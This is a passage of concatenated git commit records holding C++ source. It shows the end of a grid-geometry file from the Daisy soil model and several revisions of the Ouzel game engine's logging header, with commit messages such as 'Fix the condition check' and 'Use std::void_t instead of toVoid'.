0; column < edge_columns (); column++)\n      {\n        edge_from_.push_back (cell_index (row, column));\n        edge_to_.push_back (cell_index (row, column + 1));\n        edge_area_.push_back (z_distance[row]);\n      }\n\n  \/\/ Done.\n  daisy_assert (edge_area_.size () == edge_to_.size ());\n  daisy_assert (edge_from_.size () == edge_to_.size ());\n  daisy_assert (edge_size () == (edge_rows () * cell_columns () \n                                 + edge_columns () * cell_rows ()));\n}\n\nGeometryRect::~GeometryRect ()\n{ }\n\nstatic Submodel::Register \ngeometry_rect_submodel (\"GeometryRect\", GeometryRect::load_syntax);\n<commit_msg>Version 4.03<commit_after>\/\/ geometry_rect.C -- Horizontal and vertical grid lines.\n\/\/ \n\/\/ Copyright 2006 Per Abrahamsen and KVL.\n\/\/\n\/\/ This file is part of Daisy.\n\/\/ \n\/\/ Daisy is free software; you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Lesser Public License as published by\n\/\/ the Free Software Foundation; either version 2.1 of the License, or\n\/\/ (at your option) any later version.\n\/\/ \n\/\/ Daisy is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU Lesser Public License for more details.\n\/\/ \n\/\/ You should have received a copy of the GNU Lesser Public License\n\/\/ along with Daisy; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\n#include \"geometry_rect.h\"\n#include \"check.h\"\n#include \"vcheck.h\"\n#include \"block.h\"\n#include \"submodel.h\"\n#include <sstream>\n\nsize_t \nGeometryRect::cell_at (const double z, const double x, const double) const\n{ \n  size_t cell = 0;\n  while (zplus_[cell] > z)\n    {\n      cell++;\n      daisy_assert (cell < cell_size ());\n    }\n  while (xplus_[cell] < x)\n    { \n      cell += cell_columns_;\n      daisy_assert (cell < cell_size ());\n    }      \n  return cell;\n}\n\ndouble \nGeometryRect::fraction_in_z_interval (const size_t i, \n                                      const double from, const double to) const\n{ return fraction_within (zplus (i), zminus (i), to, from); }\n\nbool \nGeometryRect::contain_z (const size_t i, const double z) const\n{ \n  daisy_assert (zminus (i) > zplus (i));\n  return  zminus (i) > z && z >= zplus (i); \n}\n\nbool \nGeometryRect::check (Treelog&) const\n{\n  bool ok = true;\n  return ok;\n}\n\nbool \nGeometryRect::check_border (const double border, Treelog& err) const\n{\n  bool ok = false;\n\n  for (size_t i = 0; i < cell_rows_; i++)\n    if (approximate (border, zplus (i)))\n      ok = true;\n\n  if (!ok)\n    {\n      std::ostringstream tmp;\n      tmp << \"No geometric border near \" << border \n             << \" [cm], log results may be inexact\";\n      err.warning (tmp.str ());\n    }\n\n  return ok;\n}\n\nvoid\nGeometryRect::load_syntax (Syntax& syntax, AttributeList& alist)\n{ \n  alist.add (\"submodel\", \"GeometryRect\");\n  syntax.add (\"zplus\", \"cm\", Check::negative (), \n\t      Syntax::Const, Syntax::Sequence,\n\t      \"Depth of each numeric layer (a negative number).\\n\\\nThe end points are listed descending from the surface to the bottom.\");\n  static VCheck::All zplus_check (VCheck::decreasing (), \n\t\t\t\t  VCheck::min_size_1 ());\n  syntax.add_check (\"zplus\", zplus_check);\n  syntax.add (\"xplus\", \"cm\", Check::positive (), \n\t      Syntax::Const, Syntax::Sequence,\n\t      \"Horizontal end of each numeric layer (a positive number).\\n\\\nThe end points are listed ascending from left (0.0) to right.\");\n  static VCheck::All xplus_check (VCheck::increasing (), \n\t\t\t\t  VCheck::min_size_1 ());\n  syntax.add_check (\"xplus\", xplus_check);\n}\n  \nGeometryRect::GeometryRect (Block& al)\n  : GeometryVert (al), \n    cell_rows_ (al.number_sequence (\"zplus\").size ()),\n    cell_columns_ (al.number_sequence (\"xplus\").size ())\n{\n  \/\/ Initialize base.\n  size_ = cell_columns () * cell_rows ();\n\n  \/\/ Extract grid information from parameters.\n  const std::vector<double> z_end (al.number_sequence (\"zplus\"));\n  std::vector<double> z_center;\n  std::vector<double> z_distance;\n  initialize_intervals (z_end, z_center, z_distance);\n  const std::vector<double> x_end (al.number_sequence (\"xplus\"));\n  std::vector<double> x_center;\n  std::vector<double> x_distance;\n  initialize_intervals (x_end, x_center, x_distance);\n\n  \/\/ Fill in cells by column, starting from the top left corner.\n  size_t next_cell = 0;\n  for (size_t column = 0; column < cell_columns (); column++)\n    {\n      \/\/ Top edge.\n      size_t last_cell = cell_above;\n      \n      for (size_t row = 0; row < cell_rows (); row++)\n        {\n          \/\/ Cell\n          zplus_.push_back (z_end[row]);\n          z_.push_back (z_center[row]);\n          dz_.push_back (z_distance[row]);\n          xplus_.push_back (x_end[column]);\n          x_.push_back (x_center[column]);\n          dx_.push_back (x_distance[column]);\n          \/\/ Vertical edge.\n          edge_from_.push_back (next_cell);\n          edge_to_.push_back (last_cell);\n          edge_area_.push_back (x_distance[column]);\n          \/\/ Next node.\n          daisy_assert (next_cell == cell_index (row, column));\n          last_cell = next_cell;\n          next_cell++;\n        }\n      \/\/ Bottom edge.\n      edge_from_.push_back (cell_below);\n      edge_to_.push_back (last_cell);\n      edge_area_.push_back (x_distance[column]);\n    }\n  daisy_assert (next_cell == cell_size ());\n\n  \/\/ Horizontal edges.\n  for (size_t row = 0; row < cell_rows (); row++)\n    for (size_t column = 0; column < edge_columns (); column++)\n      {\n        edge_from_.push_back (cell_index (row, column));\n        edge_to_.push_back (cell_index (row, column + 1));\n        edge_area_.push_back (z_distance[row]);\n      }\n\n  \/\/ Done.\n  daisy_assert (edge_area_.size () == edge_to_.size ());\n  daisy_assert (edge_from_.size () == edge_to_.size ());\n  daisy_assert (edge_size () == (edge_rows () * cell_columns () \n                                 + edge_columns () * cell_rows ()));\n}\n\nGeometryRect::~GeometryRect ()\n{ }\n\nstatic Submodel::Register \ngeometry_rect_submodel (\"GeometryRect\", GeometryRect::load_syntax);\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2015-2020 Elviss Strazdins. All rights reserved.\n\n#ifndef OUZEL_UTILS_LOG_HPP\n#define OUZEL_UTILS_LOG_HPP\n\n#include <atomic>\n#include <cstring>\n#include <mutex>\n#include <string>\n#include <type_traits>\n#include \"..\/math\/Matrix.hpp\"\n#include \"..\/math\/Quaternion.hpp\"\n#include \"..\/math\/Size.hpp\"\n#include \"..\/math\/Vector.hpp\"\n#include \"..\/storage\/Path.hpp\"\n#include \"..\/thread\/Thread.hpp\"\n#include \"Utils.hpp\"\n\nnamespace ouzel\n{\n    class Logger;\n\n    template<typename T, typename = void>\n    struct isContainer: std::false_type {};\n\n    template<typename T>\n    struct isContainer<T,\n        std::void_t<decltype(std::declval<T>().begin()),\n            decltype(std::declval<T>().end())\n        >>: std::true_type {};\n\n    template <typename T> constexpr bool isContainerV = isContainer<T>::value;\n\n    class Log final\n    {\n    public:\n        enum class Level\n        {\n            off,\n            error,\n            warning,\n            info,\n            all\n        };\n\n        explicit Log(const Logger& initLogger, Level initLevel = Level::info):\n            logger(initLogger), level(initLevel)\n        {\n        }\n\n        Log(const Log& other):\n            logger(other.logger),\n            level(other.level),\n            s(other.s)\n        {\n        }\n\n        Log(Log&& other) noexcept:\n            logger(other.logger),\n            level(other.level),\n            s(std::move(other.s))\n        {\n            other.level = Level::info;\n        }\n\n        Log& operator=(const Log& other)\n        {\n            if (&other == this) return *this;\n\n            level = other.level;\n            s = other.s;\n\n            return *this;\n        }\n\n        Log& operator=(Log&& other) noexcept\n        {\n            if (&other == this) return *this;\n\n            level = other.level;\n            other.level = Level::info;\n            s = std::move(other.s);\n\n            return *this;\n        }\n\n        ~Log();\n\n        Log& operator<<(const bool val)\n        {\n            s += val ? \"true\" : \"false\";\n            return *this;\n        }\n\n        Log& operator<<(char val)\n        {\n            s += val;\n            return *this;\n        }\n\n        Log& operator<<(const std::uint8_t val)\n        {\n            constexpr char digits[] = \"0123456789abcdef\";\n            s.push_back(digits[(val >> 4) & 0x0F]);\n            s.push_back(digits[(val >> 0) & 0x0F]);\n            return *this;\n        }\n\n        template <typename T, std::enable_if_t<std::is_arithmetic_v<T> &&\n            !std::is_same_v<T, bool> &&\n            !std::is_same_v<T, std::uint8_t>>* = nullptr>\n        Log& operator<<(const T val)\n        {\n            s += std::to_string(val);\n            return *this;\n        }\n\n        Log& operator<<(const std::string& val)\n        {\n            s += val;\n            return *this;\n        }\n\n        Log& operator<<(const char* val)\n        {\n            s += val;\n            return *this;\n        }\n\n        template <typename T, std::enable_if_t<!std::is_same_v<T, char>>* = nullptr>\n        Log& operator<<(const T* val)\n        {\n            constexpr char digits[] = \"0123456789abcdef\";\n\n            const auto ptrValue = bitCast<std::uintptr_t>(val);\n\n            for (std::size_t i = 0; i < sizeof(val) * 2; ++i)\n                s.push_back(digits[(ptrValue >> (sizeof(ptrValue) * 2 - i - 1) * 4) & 0x0F]);\n\n            return *this;\n        }\n\n        Log& operator<<(const storage::Path& val)\n        {\n            s += val;\n            return *this;\n        }\n\n        template <typename T, std::enable_if_t<isContainerV<T> || std::is_array_v<T>>* = nullptr>\n        Log& operator<<(const T& val)\n        {\n            bool first = true;\n            for (const auto& i : val)\n            {\n                if (!first) s += \", \";\n                first = false;\n                operator<<(i);\n            }\n\n            return *this;\n        }\n\n        template <std::size_t N, std::size_t M, class T>\n        Log& operator<<(const Matrix<N, M, T>& val)\n        {\n            bool first = true;\n\n            for (const T c : val.m)\n            {\n                if (!first) s += \",\";\n                first = false;\n                s += std::to_string(c);\n            }\n\n            return *this;\n        }\n\n        template <typename T>\n        Log& operator<<(const Quaternion<T>& val)\n        {\n            s += std::to_string(val.v[0]) + \",\" + std::to_string(val.v[1]) + \",\" +\n                std::to_string(val.v[2]) + \",\" + std::to_string(val.v[3]);\n            return *this;\n        }\n\n        template <std::size_t N, class T>\n        Log& operator<<(const Size<N, T>& val)\n        {\n            bool first = true;\n\n            for (const T c : val.v)\n            {\n                if (!first) s += \",\";\n                first = false;\n                s += std::to_string(c);\n            }\n            return *this;\n        }\n\n        template <std::size_t N, class T>\n        Log& operator<<(const Vector<N, T>& val)\n        {\n            bool first = true;\n\n            for (const T c : val.v)\n            {\n                if (!first) s += \",\";\n                first = false;\n                s += std::to_string(c);\n            }\n            return *this;\n        }\n\n    private:\n        const Logger& logger;\n        Level level = Level::info;\n        std::string s;\n    };\n\n    class Logger final\n    {\n    public:\n        explicit Logger(Log::Level initThreshold = Log::Level::all):\n            threshold(initThreshold)\n        {\n        }\n\n        Logger(const Logger&) = delete;\n        Logger& operator=(const Logger&) = delete;\n        Logger(Logger&&) = delete;\n        Logger& operator=(Logger&&) = delete;\n\n        Log log(const Log::Level level = Log::Level::info) const\n        {\n            return Log(*this, level);\n        }\n\n        void log(const std::string& str, const Log::Level level = Log::Level::info) const\n        {\n            if (level <= threshold)\n            {\n#if defined(__EMSCRIPTEN__)\n                std::scoped_lock lock(logMutex);\n#endif\n                logString(str, level);\n            }\n        }\n\n    private:\n        static void logString(const std::string& str, const Log::Level level = Log::Level::info);\n\n#ifdef DEBUG\n        std::atomic<Log::Level> threshold{Log::Level::all};\n#else\n        std::atomic<Log::Level> threshold{Log::Level::info};\n#endif\n\n#if !defined(__EMSCRIPTEN__)\n        mutable std::mutex logMutex;\n#endif\n    };\n\n    inline Log::~Log()\n    {\n        if (!s.empty())\n            logger.log(s, level);\n    }\n\n    inline Logger logger;\n}\n\n#endif \/\/ OUZEL_UTILS_LOG_HPP\n<commit_msg>Fix the condition check<commit_after>\/\/ Copyright 2015-2020 Elviss Strazdins. All rights reserved.\n\n#ifndef OUZEL_UTILS_LOG_HPP\n#define OUZEL_UTILS_LOG_HPP\n\n#include <atomic>\n#include <cstring>\n#include <mutex>\n#include <string>\n#include <type_traits>\n#include \"..\/math\/Matrix.hpp\"\n#include \"..\/math\/Quaternion.hpp\"\n#include \"..\/math\/Size.hpp\"\n#include \"..\/math\/Vector.hpp\"\n#include \"..\/storage\/Path.hpp\"\n#include \"..\/thread\/Thread.hpp\"\n#include \"Utils.hpp\"\n\nnamespace ouzel\n{\n    class Logger;\n\n    template<typename T, typename = void>\n    struct isContainer: std::false_type {};\n\n    template<typename T>\n    struct isContainer<T,\n        std::void_t<decltype(std::declval<T>().begin()),\n            decltype(std::declval<T>().end())\n        >>: std::true_type {};\n\n    template <typename T> constexpr bool isContainerV = isContainer<T>::value;\n\n    class Log final\n    {\n    public:\n        enum class Level\n        {\n            off,\n            error,\n            warning,\n            info,\n            all\n        };\n\n        explicit Log(const Logger& initLogger, Level initLevel = Level::info):\n            logger(initLogger), level(initLevel)\n        {\n        }\n\n        Log(const Log& other):\n            logger(other.logger),\n            level(other.level),\n            s(other.s)\n        {\n        }\n\n        Log(Log&& other) noexcept:\n            logger(other.logger),\n            level(other.level),\n            s(std::move(other.s))\n        {\n            other.level = Level::info;\n        }\n\n        Log& operator=(const Log& other)\n        {\n            if (&other == this) return *this;\n\n            level = other.level;\n            s = other.s;\n\n            return *this;\n        }\n\n        Log& operator=(Log&& other) noexcept\n        {\n            if (&other == this) return *this;\n\n            level = other.level;\n            other.level = Level::info;\n            s = std::move(other.s);\n\n            return *this;\n        }\n\n        ~Log();\n\n        Log& operator<<(const bool val)\n        {\n            s += val ? \"true\" : \"false\";\n            return *this;\n        }\n\n        Log& operator<<(char val)\n        {\n            s += val;\n            return *this;\n        }\n\n        Log& operator<<(const std::uint8_t val)\n        {\n            constexpr char digits[] = \"0123456789abcdef\";\n            s.push_back(digits[(val >> 4) & 0x0F]);\n            s.push_back(digits[(val >> 0) & 0x0F]);\n            return *this;\n        }\n\n        template <typename T, std::enable_if_t<std::is_arithmetic_v<T> &&\n            !std::is_same_v<T, bool> &&\n            !std::is_same_v<T, std::uint8_t>>* = nullptr>\n        Log& operator<<(const T val)\n        {\n            s += std::to_string(val);\n            return *this;\n        }\n\n        Log& operator<<(const std::string& val)\n        {\n            s += val;\n            return *this;\n        }\n\n        Log& operator<<(const char* val)\n        {\n            s += val;\n            return *this;\n        }\n\n        template <typename T, std::enable_if_t<!std::is_same_v<T, char>>* = nullptr>\n        Log& operator<<(const T* val)\n        {\n            constexpr char digits[] = \"0123456789abcdef\";\n\n            const auto ptrValue = bitCast<std::uintptr_t>(val);\n\n            for (std::size_t i = 0; i < sizeof(val) * 2; ++i)\n                s.push_back(digits[(ptrValue >> (sizeof(ptrValue) * 2 - i - 1) * 4) & 0x0F]);\n\n            return *this;\n        }\n\n        Log& operator<<(const storage::Path& val)\n        {\n            s += val;\n            return *this;\n        }\n\n        template <typename T, std::enable_if_t<isContainerV<T> || std::is_array_v<T>>* = nullptr>\n        Log& operator<<(const T& val)\n        {\n            bool first = true;\n            for (const auto& i : val)\n            {\n                if (!first) s += \", \";\n                first = false;\n                operator<<(i);\n            }\n\n            return *this;\n        }\n\n        template <std::size_t N, std::size_t M, class T>\n        Log& operator<<(const Matrix<N, M, T>& val)\n        {\n            bool first = true;\n\n            for (const T c : val.m)\n            {\n                if (!first) s += \",\";\n                first = false;\n                s += std::to_string(c);\n            }\n\n            return *this;\n        }\n\n        template <typename T>\n        Log& operator<<(const Quaternion<T>& val)\n        {\n            s += std::to_string(val.v[0]) + \",\" + std::to_string(val.v[1]) + \",\" +\n                std::to_string(val.v[2]) + \",\" + std::to_string(val.v[3]);\n            return *this;\n        }\n\n        template <std::size_t N, class T>\n        Log& operator<<(const Size<N, T>& val)\n        {\n            bool first = true;\n\n            for (const T c : val.v)\n            {\n                if (!first) s += \",\";\n                first = false;\n                s += std::to_string(c);\n            }\n            return *this;\n        }\n\n        template <std::size_t N, class T>\n        Log& operator<<(const Vector<N, T>& val)\n        {\n            bool first = true;\n\n            for (const T c : val.v)\n            {\n                if (!first) s += \",\";\n                first = false;\n                s += std::to_string(c);\n            }\n            return *this;\n        }\n\n    private:\n        const Logger& logger;\n        Level level = Level::info;\n        std::string s;\n    };\n\n    class Logger final\n    {\n    public:\n        explicit Logger(Log::Level initThreshold = Log::Level::all):\n            threshold(initThreshold)\n        {\n        }\n\n        Logger(const Logger&) = delete;\n        Logger& operator=(const Logger&) = delete;\n        Logger(Logger&&) = delete;\n        Logger& operator=(Logger&&) = delete;\n\n        Log log(const Log::Level level = Log::Level::info) const\n        {\n            return Log(*this, level);\n        }\n\n        void log(const std::string& str, const Log::Level level = Log::Level::info) const\n        {\n            if (level <= threshold)\n            {\n#if !defined(__EMSCRIPTEN__)\n                std::scoped_lock lock(logMutex);\n#endif\n                logString(str, level);\n            }\n        }\n\n    private:\n        static void logString(const std::string& str, const Log::Level level = Log::Level::info);\n\n#ifdef DEBUG\n        std::atomic<Log::Level> threshold{Log::Level::all};\n#else\n        std::atomic<Log::Level> threshold{Log::Level::info};\n#endif\n\n#if !defined(__EMSCRIPTEN__)\n        mutable std::mutex logMutex;\n#endif\n    };\n\n    inline Log::~Log()\n    {\n        if (!s.empty())\n            logger.log(s, level);\n    }\n\n    inline Logger logger;\n}\n\n#endif \/\/ OUZEL_UTILS_LOG_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2015-2020 Elviss Strazdins. All rights reserved.\n\n#ifndef OUZEL_UTILS_LOG_HPP\n#define OUZEL_UTILS_LOG_HPP\n\n#include <atomic>\n#include <condition_variable>\n#include <cstring>\n#include <mutex>\n#include <queue>\n#include <string>\n#include <thread>\n#include <type_traits>\n#include \"..\/math\/Matrix.hpp\"\n#include \"..\/math\/Quaternion.hpp\"\n#include \"..\/math\/Size.hpp\"\n#include \"..\/math\/Vector.hpp\"\n#include \"..\/storage\/Path.hpp\"\n#include \"Thread.hpp\"\n#include \"Utils.hpp\"\n\nnamespace ouzel\n{\n    class Logger;\n\n    class Log final\n    {\n    public:\n        enum class Level\n        {\n            off,\n            error,\n            warning,\n            info,\n            all\n        };\n\n        explicit Log(const Logger& initLogger, Level initLevel = Level::info):\n            logger(initLogger), level(initLevel)\n        {\n        }\n\n        Log(const Log& other):\n            logger(other.logger),\n            level(other.level),\n            s(other.s)\n        {\n        }\n\n        Log(Log&& other) noexcept:\n            logger(other.logger),\n            level(other.level),\n            s(std::move(other.s))\n        {\n            other.level = Level::info;\n        }\n\n        Log& operator=(const Log& other)\n        {\n            if (&other == this) return *this;\n\n            level = other.level;\n            s = other.s;\n\n            return *this;\n        }\n\n        Log& operator=(Log&& other) noexcept\n        {\n            if (&other == this) return *this;\n\n            level = other.level;\n            other.level = Level::info;\n            s = std::move(other.s);\n\n            return *this;\n        }\n\n        ~Log();\n\n        Log& operator<<(const bool val)\n        {\n            s += val ? \"true\" : \"false\";\n            return *this;\n        }\n\n        Log& operator<<(const uint8_t val)\n        {\n            constexpr char digits[] = \"0123456789abcdef\";\n\n            for (std::uint32_t p = 0; p < 2; ++p)\n                s.push_back(digits[(val >> (4 - p * 4)) & 0x0F]);\n\n            return *this;\n        }\n\n        template <typename T, typename std::enable_if_t<std::is_arithmetic_v<T> &&\n            !std::is_same_v<T, bool> &&\n            !std::is_same_v<T, std::uint8_t>>* = nullptr>\n        Log& operator<<(const T val)\n        {\n            s += std::to_string(val);\n            return *this;\n        }\n\n        Log& operator<<(const std::string& val)\n        {\n            s += val;\n            return *this;\n        }\n\n        Log& operator<<(const char* val)\n        {\n            s += val;\n            return *this;\n        }\n\n        template <typename T, typename std::enable_if_t<!std::is_same_v<T, char>>* = nullptr>\n        Log& operator<<(const T* val)\n        {\n            constexpr char digits[] = \"0123456789abcdef\";\n\n            const auto ptrValue = bitCast<std::uintptr_t>(val);\n\n            for (std::size_t i = 0; i < sizeof(val) * 2; ++i)\n                s.push_back(digits[(ptrValue >> (sizeof(ptrValue) * 2 - i - 1) * 4) & 0x0F]);\n\n            return *this;\n        }\n\n        Log& operator<<(const storage::Path& val)\n        {\n            s += val;\n            return *this;\n        }\n\n        template<typename T, typename = void>\n        struct isContainer: std::false_type {};\n\n        template<typename ...> using toVoid = void;\n\n        template<typename T>\n        struct isContainer<T,\n            toVoid<decltype(begin(std::declval<T&>())),\n                decltype(end(std::declval<T&>()))\n            >>: std::true_type {};\n\n        template <typename T, typename std::enable_if_t<isContainer<T>::value>* = nullptr>\n        Log& operator<<(const T& val)\n        {\n            auto beginIterator = begin(val);\n            auto endIterator = end(val);\n\n            for (auto i = beginIterator; i != endIterator; ++i)\n            {\n                if (i != beginIterator) s += \", \";\n                operator<<(*i);\n            }\n\n            return *this;\n        }\n\n        template <std::size_t N, std::size_t M, class T>\n        Log& operator<<(const Matrix<N, M, T>& val)\n        {\n            bool first = true;\n\n            for (const T c : val.m)\n            {\n                if (!first) s += \",\";\n                first = false;\n                s += std::to_string(c);\n            }\n\n            return *this;\n        }\n\n        template <typename T>\n        Log& operator<<(const Quaternion<T>& val)\n        {\n            s += std::to_string(val.v[0]) + \",\" + std::to_string(val.v[1]) + \",\" +\n                std::to_string(val.v[2]) + \",\" + std::to_string(val.v[3]);\n            return *this;\n        }\n\n        template <std::size_t N, class T>\n        Log& operator<<(const Size<N, T>& val)\n        {\n            bool first = true;\n\n            for (const T c : val.v)\n            {\n                if (!first) s += \",\";\n                first = false;\n                s += std::to_string(c);\n            }\n            return *this;\n        }\n\n        template <std::size_t N, class T>\n        Log& operator<<(const Vector<N, T>& val)\n        {\n            bool first = true;\n\n            for (const T c : val.v)\n            {\n                if (!first) s += \",\";\n                first = false;\n                s += std::to_string(c);\n            }\n            return *this;\n        }\n\n    private:\n        const Logger& logger;\n        Level level = Level::info;\n        std::string s;\n    };\n\n    class Logger final\n    {\n    public:\n        explicit Logger(Log::Level initThreshold = Log::Level::all):\n            threshold(initThreshold)\n        {\n#if !defined(__EMSCRIPTEN__)\n            logThread = Thread(&Logger::logLoop, this);\n#endif\n        }\n\n        Logger(const Logger&) = delete;\n        Logger& operator=(const Logger&) = delete;\n        Logger(Logger&&) = delete;\n        Logger& operator=(Logger&&) = delete;\n\n        ~Logger()\n        {\n#if !defined(__EMSCRIPTEN__)\n            std::unique_lock lock(queueMutex);\n            commandQueue.push(Command(Command::Type::quit));\n            lock.unlock();\n            queueCondition.notify_all();\n#endif\n        }\n\n        Log log(const Log::Level level = Log::Level::info) const\n        {\n            return Log(*this, level);\n        }\n\n        void log(const std::string& str, const Log::Level level = Log::Level::info) const\n        {\n            if (level <= threshold)\n            {\n#if defined(__EMSCRIPTEN__)\n                logString(str, level);\n#else\n                std::unique_lock lock(queueMutex);\n                commandQueue.push(Command(Command::Type::logString, level, str));\n                lock.unlock();\n                queueCondition.notify_all();\n#endif\n            }\n        }\n\n    private:\n        static void logString(const std::string& str, const Log::Level level = Log::Level::info);\n\n#ifdef DEBUG\n        std::atomic<Log::Level> threshold{Log::Level::all};\n#else\n        std::atomic<Log::Level> threshold{Log::Level::info};\n#endif\n\n#if !defined(__EMSCRIPTEN__)\n        class Command final\n        {\n        public:\n            enum class Type\n            {\n                logString,\n                quit\n            };\n\n            explicit Command(const Type initType):\n                type(initType)\n            {\n            }\n\n            Command(const Type initType, const Log::Level initLevel,\n                    const std::string& initString):\n                type(initType),\n                level(initLevel),\n                str(initString)\n            {\n            }\n\n            Type type;\n            Log::Level level = Log::Level::all;\n            std::string str;\n        };\n\n        void logLoop()\n        {\n            for (;;)\n            {\n                std::unique_lock lock(queueMutex);\n                while (commandQueue.empty()) queueCondition.wait(lock);\n                auto command = std::move(commandQueue.front());\n                commandQueue.pop();\n                lock.unlock();\n\n                if (command.type == Command::Type::logString)\n                    logString(command.str, command.level);\n                else if (command.type == Command::Type::quit)\n                    break;\n            }\n        }\n\n        mutable std::condition_variable queueCondition;\n        mutable std::mutex queueMutex;\n        mutable std::queue<Command> commandQueue;\n        Thread logThread;\n#endif\n    };\n}\n\n#endif \/\/ OUZEL_UTILS_LOG_HPP\n<commit_msg>Use std::void_t instead of toVoid<commit_after>\/\/ Copyright 2015-2020 Elviss Strazdins. All rights reserved.\n\n#ifndef OUZEL_UTILS_LOG_HPP\n#define OUZEL_UTILS_LOG_HPP\n\n#include <atomic>\n#include <condition_variable>\n#include <cstring>\n#include <mutex>\n#include <queue>\n#include <string>\n#include <thread>\n#include <type_traits>\n#include \"..\/math\/Matrix.hpp\"\n#include \"..\/math\/Quaternion.hpp\"\n#include \"..\/math\/Size.hpp\"\n#include \"..\/math\/Vector.hpp\"\n#include \"..\/storage\/Path.hpp\"\n#include \"Thread.hpp\"\n#include \"Utils.hpp\"\n\nnamespace ouzel\n{\n    class Logger;\n\n    class Log final\n    {\n    public:\n        enum class Level\n        {\n            off,\n            error,\n            warning,\n            info,\n            all\n        };\n\n        explicit Log(const Logger& initLogger, Level initLevel = Level::info):\n            logger(initLogger), level(initLevel)\n        {\n        }\n\n        Log(const Log& other):\n            logger(other.logger),\n            level(other.level),\n            s(other.s)\n        {\n        }\n\n        Log(Log&& other) noexcept:\n            logger(other.logger),\n            level(other.level),\n            s(std::move(other.s))\n        {\n            other.level = Level::info;\n        }\n\n        Log& operator=(const Log& other)\n        {\n            if (&other == this) return *this;\n\n            level = other.level;\n            s = other.s;\n\n            return *this;\n        }\n\n        Log& operator=(Log&& other) noexcept\n        {\n            if (&other == this) return *this;\n\n            level = other.level;\n            other.level = Level::info;\n            s = std::move(other.s);\n\n            return *this;\n        }\n\n        ~Log();\n\n        Log& operator<<(const bool val)\n        {\n            s += val ? \"true\" : \"false\";\n            return *this;\n        }\n\n        Log& operator<<(const uint8_t val)\n        {\n            constexpr char digits[] = \"0123456789abcdef\";\n\n            for (std::uint32_t p = 0; p < 2; ++p)\n                s.push_back(digits[(val >> (4 - p * 4)) & 0x0F]);\n\n            return *this;\n        }\n\n        template <typename T, typename std::enable_if_t<std::is_arithmetic_v<T> &&\n            !std::is_same_v<T, bool> &&\n            !std::is_same_v<T, std::uint8_t>>* = nullptr>\n        Log& operator<<(const T val)\n        {\n            s += std::to_string(val);\n            return *this;\n        }\n\n        Log& operator<<(const std::string& val)\n        {\n            s += val;\n            return *this;\n        }\n\n        Log& operator<<(const char* val)\n        {\n            s += val;\n            return *this;\n        }\n\n        template <typename T, typename std::enable_if_t<!std::is_same_v<T, char>>* = nullptr>\n        Log& operator<<(const T* val)\n        {\n            constexpr char digits[] = \"0123456789abcdef\";\n\n            const auto ptrValue = bitCast<std::uintptr_t>(val);\n\n            for (std::size_t i = 0; i < sizeof(val) * 2; ++i)\n                s.push_back(digits[(ptrValue >> (sizeof(ptrValue) * 2 - i - 1) * 4) & 0x0F]);\n\n            return *this;\n        }\n\n        Log& operator<<(const storage::Path& val)\n        {\n            s += val;\n            return *this;\n        }\n\n        template<typename T, typename = void>\n        struct isContainer: std::false_type {};\n\n        template<typename T>\n        struct isContainer<T,\n            std::void_t<decltype(begin(std::declval<T&>())),\n                decltype(end(std::declval<T&>()))\n            >>: std::true_type {};\n\n        template <typename T, typename std::enable_if_t<isContainer<T>::value>* = nullptr>\n        Log& operator<<(const T& val)\n        {\n            auto beginIterator = begin(val);\n            auto endIterator = end(val);\n\n            for (auto i = beginIterator; i != endIterator; ++i)\n            {\n                if (i != beginIterator) s += \", \";\n                operator<<(*i);\n            }\n\n            return *this;\n        }\n\n        template <std::size_t N, std::size_t M, class T>\n        Log& operator<<(const Matrix<N, M, T>& val)\n        {\n            bool first = true;\n\n            for (const T c : val.m)\n            {\n                if (!first) s += \",\";\n                first = false;\n                s += std::to_string(c);\n            }\n\n            return *this;\n        }\n\n        template <typename T>\n        Log& operator<<(const Quaternion<T>& val)\n        {\n            s += std::to_string(val.v[0]) + \",\" + std::to_string(val.v[1]) + \",\" +\n                std::to_string(val.v[2]) + \",\" + std::to_string(val.v[3]);\n            return *this;\n        }\n\n        template <std::size_t N, class T>\n        Log& operator<<(const Size<N, T>& val)\n        {\n            bool first = true;\n\n            for (const T c : val.v)\n            {\n                if (!first) s += \",\";\n                first = false;\n                s += std::to_string(c);\n            }\n            return *this;\n        }\n\n        template <std::size_t N, class T>\n        Log& operator<<(const Vector<N, T>& val)\n        {\n            bool first = true;\n\n            for (const T c : val.v)\n            {\n                if (!first) s += \",\";\n                first = false;\n                s += std::to_string(c);\n            }\n            return *this;\n        }\n\n    private:\n        const Logger& logger;\n        Level level = Level::info;\n        std::string s;\n    };\n\n    class Logger final\n    {\n    public:\n        explicit Logger(Log::Level initThreshold = Log::Level::all):\n            threshold(initThreshold)\n        {\n#if !defined(__EMSCRIPTEN__)\n            logThread = Thread(&Logger::logLoop, this);\n#endif\n        }\n\n        Logger(const Logger&) = delete;\n        Logger& operator=(const Logger&) = delete;\n        Logger(Logger&&) = delete;\n        Logger& operator=(Logger&&) = delete;\n\n        ~Logger()\n        {\n#if !defined(__EMSCRIPTEN__)\n            std::unique_lock lock(queueMutex);\n            commandQueue.push(Command(Command::Type::quit));\n            lock.unlock();\n            queueCondition.notify_all();\n#endif\n        }\n\n        Log log(const Log::Level level = Log::Level::info) const\n        {\n            return Log(*this, level);\n        }\n\n        void log(const std::string& str, const Log::Level level = Log::Level::info) const\n        {\n            if (level <= threshold)\n            {\n#if defined(__EMSCRIPTEN__)\n                logString(str, level);\n#else\n                std::unique_lock lock(queueMutex);\n                commandQueue.push(Command(Command::Type::logString, level, str));\n                lock.unlock();\n                queueCondition.notify_all();\n#endif\n            }\n        }\n\n    private:\n        static void logString(const std::string& str, const Log::Level level = Log::Level::info);\n\n#ifdef DEBUG\n        std::atomic<Log::Level> threshold{Log::Level::all};\n#else\n        std::atomic<Log::Level> threshold{Log::Level::info};\n#endif\n\n#if !defined(__EMSCRIPTEN__)\n        class Command final\n        {\n        public:\n            enum class Type\n            {\n                logString,\n                quit\n            };\n\n            explicit Command(const Type initType):\n                type(initType)\n            {\n            }\n\n            Command(const Type initType, const Log::Level initLevel,\n                    const std::string& initString):\n                type(initType),\n                level(initLevel),\n                str(initString)\n            {\n            }\n\n            Type type;\n            Log::Level level = 